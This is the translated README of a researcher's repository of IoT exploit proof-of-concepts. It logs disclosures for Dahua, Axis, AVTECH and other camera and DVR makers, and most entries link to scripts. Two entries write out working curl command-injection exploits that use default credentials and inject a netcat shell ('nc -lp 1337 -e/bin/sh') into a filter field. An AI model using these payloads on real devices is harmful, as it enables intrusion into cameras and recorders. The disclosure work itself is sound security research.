mcw0/pocIssues has been disabled for these PoC's, as they are simply PoC, Public Domain and unsupported.
разные PoC — интернет (не)безопасных вещей
Определённо стоит почитать про эти паршивые (не)безопасные вещи: https://ipvm.com/reports/security-exploits
2021-10-19
Вся заслуга принадлежит Watchful_IP (https://watchfulip.github.io/)
https://github.com/mcw0/PoC/blob/master/CVE-2021-36260.py
2021-10-06
Подробности: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt
PoC: https://github.com/mcw0/DahuaConsole
2021-09-06
Два независимых обхода аутентификации.
Из-за очень высокой вероятности очередного «массового взлома Dahua» я буду держать детали Full Disclosure до 6 октября 2021 года.
Настоятельно рекомендую до этого времени обновить прошивку.
https://www.dahuasecurity.com/support/cybersecurity/details/957
2020-05-09
https://github.com/mcw0/PoC/blob/master/Dahua-3DES-IMOU-PoC.py
2020-02-29
https://github.com/mcw0/Tools/blob/master/Dahua-JSON-Debug-Console-v2.py
2020-02-15
На этой неделе установлен контакт с Dahua PSIRT; детали, PoC и доказательства для 23 различных облачных провайдеров были переданы. Я также буду следовать новой практике Google Zero «Policy and Disclosure: 2020 Edition» (поскольку для меня это имеет смысл), то есть опубликую материал через 90 дней, независимо от того, выпустит ли Dahua обновления до или после 09.05.2020 19:00 UTC (9 мая 2020, 19:00 UTC).
Dahua, пожалуйста, исправьте и сделайте обновления доступными до этой даты...
Ссылка: Google Zero «Policy and Disclosure: 2020 Edition»: https://googleprojectzero.blogspot.com/2020/01/policy-and-disclosure-2020-edition.html
2020-02-10
Я только что раскрыл утечки учётных данных (в конечном счёте попадающих в открытый вид) из Dahua SDK в Dahua PSIRT; посмотрим, как они воспримут эту информацию. Довольно скверно, когда в этом замешано более 20 разных облачных провайдеров... 90 дней отсчитываются с сегодняшнего дня.
2020-01-20
Создан новый репозиторий, куда я планирую выкладывать некоторые инструменты.
Первым выходит: Dahua-JSON-Debug-Console-v2.py
2019-10-06 (старьё)
Анонимно определяет модель и версию прошивки устройств Axis (1998 - 2019).
https://github.com/mcw0/PoC/blob/master/axis-detect.py
2019-08-20
https://github.com/mcw0/PoC/blob/master/Realtek-RTL83xx-PoC.py
2019-08-06
https://www.vdoo.com/blog/disclosing-significant-vulnerabilities-network-switches
Все технические подробности вместе с Python PoC будут опубликованы здесь 20 августа 2019 года.
2019-05-15
Множественные переполнения стека, RCE, раскрытие имени пользователя/пароля в открытом виде и другое
https://github.com/mcw0/PoC/blob/master/LifeSafetyPower-Netlink-PoC.py
2019-04-10
Этот скрипт будет использовать бинарный P2P-протокол Dahua 'DHIP', работающий на обычных HTTP/HTTPS-портах и TCP/5000.
Будет подключаться к внутренней 'Debug Console' устройств Dahua через JSON (того же типа, что и прежняя отладка на TCP/6789)
https://github.com/mcw0/PoC/blob/master/Dahua-DHIP-JSON-Debug-Console.py
Развлекайтесь, bashis
2019-01-23
Приветствую, давно ничего не публиковал...
Я всё ещё занимаюсь исследованиями, но новость в том, что я также пытаюсь работать с VDOO (https://www.vdoo.com/) по взаимодействию с вендорами, и это, к сожалению, несколько задержало мой процесс Full Disclosure.
В любом случае, вскоре здесь, на моём GitHub, появятся несколько интересных исследований в формате Full Disclosure.
Благодаря сотрудничеству с VDOO я могу заниматься тем, что мне нравится, и не тратить время на вендоров, которые (не хотят | не понимают | хотят игнорировать | хотят затянуть | что угодно).
Последние находки — кое-что про Reolink (https://reolink.com/), что вы найдёте здесь: https://www.vdoo.com/blog/working-with-the-community-%E2%80%93-significant-vulnerabilities-in-reolink-cameras/.
2018-06-18
AVTECH {DVR/NVR/IPC}: переполнение кучи, IPCP API, RCE
https://github.com/mcw0/PoC/blob/master/Avtech_Undocumented_API_and_RCE.txt
https://github.com/mcw0/PoC/blob/master/AVTECH-IPCP-RCE.py
2018-06-03
Reolink {IPC} RCE (с аутентификацией)
https://github.com/mcw0/PoC/blob/master/Reolink-IPC-RCE.py
2018-04-09
Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE https://github.com/mcw0/PoC/blob/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt https://github.com/mcw0/PoC/blob/master/TVT-PoC.py
2018-03-05
AVTECH {DVR/NVR/IPC} RCE с аутентификацией
https://github.com/mcw0/PoC/blob/master/AVTECH-RCE.py
2018-02-01
Geovision Inc. IP Camera/Video/Access Control — множественное удалённое выполнение команд — множественное переполнение стека — double free — несанкционированный доступ https://github.com/mcw0/PoC/blob/master/Geovision%20IP%20Camera%20Multiple%20Remote%20Command%20Execution%20-%20Multiple%20Stack%20Overflow%20-%20Double%20free%20-%20Unauthorized%20Access.txt
PoC удалённого выполнения команд для IP-камер и видеосерверов Geovision Inc. https://github.com/mcw0/PoC/blob/master/Geovision-PoC.py
2018-01-22
Демон Herospeed TelnetSwitch работает на TCP/787 и позволяет включить telnetd. Небольшое переполнение стека позволяет перезаписать динамически генерируемый пароль и включить telnetd. https://github.com/mcw0/PoC/blob/master/Herospeed-TelnetSwitch.py
2018-01-15
Небольшая обёртка OpenSSL для перебора различных ключей шифрования/дайджестов и шифров в образах прошивок Foscam IPC. https://github.com/mcw0/PoC/blob/master/decrypt-foscam.py
Деобфускация строк/логина/пароля/криптоключа в различных бинарниках и библиотеках Foscam IPC https://github.com/mcw0/PoC/blob/master/deobfuscate-foscam.py
2017-12-22
https://github.com/mcw0/PoC/blob/master/Vitek_RCE_and_information_disclosure.txt
2017-12-14
https://github.com/mcw0/PoC/blob/master/Remote_Stack_Format_String_multiple%20OEM.txt
Картинка здесь: http://62.43.36.107:50021/Public/CCTV/GWSecu/GWSecu%20Updater%20para%20c%C3%A1maras/Firmware%20para%20c%C3%A1mara%20domo/
2017-12-05
https://github.com/mcw0/PoC/blob/master/tiny-w3-mcw.c
2017-12-03
// Enable 'IP Filter'
curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=2"
// Add to 'IP Filter' and execute
curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/AddIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"
// Disable 'IP Filter'
curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=0"
// Remove from 'IP Filter'
curl --user ADMIN:1234 -v -X POST http://[IP:PORT]/form/DeleteIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"
2017-12-03
// Enable 'IP Filter'
curl --user admin:admin -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=2"
// Add to 'IP Filter' and execute
curl --user admin:admin -v -X POST http://[IP:PORT]/form/AddIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"
// Disable 'IP Filter'
curl --user admin:admin -v -X POST http://[IP:PORT]/form/formChangeFirewallState -d "state=0"
// Remove from 'IP Filter'
curl --user admin:admin -v -X POST http://[IP:PORT]/form/DeleteIPFilter -d "list=2&type=1&filterIp=$(nc -lp 1337 -e/bin/sh)"
Примечание: почти уверен, что есть и другие OEM, у которых то же самое.
2017-12-01 Axis Communications MPQT/PACS — переполнение кучи и утечка информации https://github.com/mcw0/PoC/blob/master/Axis_Communications_MPQT_PACS_Heap_Overflow_and_information_leakage.txt
2017-11-13 Обратная stunnel TLSv1 privacy shell https://github.com/mcw0/PoC/blob/master/Reverse%20stunnel%20TLSv1%20privacy%20shell.txt
2017-11-13 IP-камеры Vivotek — удалённое переполнение стека https://github.com/mcw0/PoC/blob/master/Vivotek%20IP%20Cameras%20-%20Remote%20Stack%20Overflow.txt
2017-10-29 PoC для RCE и экспорта конфигурации Uniview https://github.com/mcw0/PoC/blob/master/Uniview%20RCE%20PoC.txt
2017-10-19 Один старый забытый фаззинг из Q3/2016, который привёл к RCE (PoC: удалённая оболочка с обратным подключением) и удалённому чтению /etc/shadow. Было сообщено в Axis и исправлено в Q3/2016; публикую это здесь сейчас, так как это может быть хорошей подсказкой. https://github.com/mcw0/PoC/blob/master/Axis%20SSI%20RCE
2017-10-17 Включение / отключение Telnetd в Dahua (для более новых версий прошивки) https://github.com/mcw0/PoC/blob/master/dahua-telnetd-json.py
2017-05-03
Публичный повторный релиз PoC бэкдора Dahua https://github.com/mcw0/PoC/blob/master/dahua-backdoor-PoC.py
2017-03-20
С учётом моих новых знаний об уязвимых устройствах, которых там невероятно много — более 1 миллиона устройств Dahua / OEM, — причём эти знания взяты из отчёта NSFOCUS и моих собственных исследований на shodan.io.
Обладая этими знаниями, я не буду публиковать Python PoC, как я говорил ранее про 5 апреля, поскольку в этом нет необходимости: PoC уже подтверждён IPVM и другими независимыми исследователями безопасности.
Тем не менее, я готов поделиться PoC с серьёзными исследователями безопасности, если это необходимо; пожалуйста, напишите мне лично и чётко укажите, кто вы, чтобы я не принял вас за попрошайку, которых я игнорирую.
Отчёт NSFOCUS: http://blog.nsfocus.net/dahua-cameras-unauthorized-access-vulnerability-technical-analysis-solution/
/bashis
Вы заметили временные метки на патчах Dahua? Посмотрите скриншоты: http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20Timestamp.png
https://dahuawiki.com/images/Firmware/DVR/Q2.2017/ https://github.com/mcw0/PoC/blob/master/Dahua%20Wiki%20Firmware%20listing.png
В списке не только NVR/DVR/IPC/HDCVI
Домофонная система тоже — VTO2000A был подтверждён http://www1.dahuasecurity.com/au/products/vto2000a-762.html
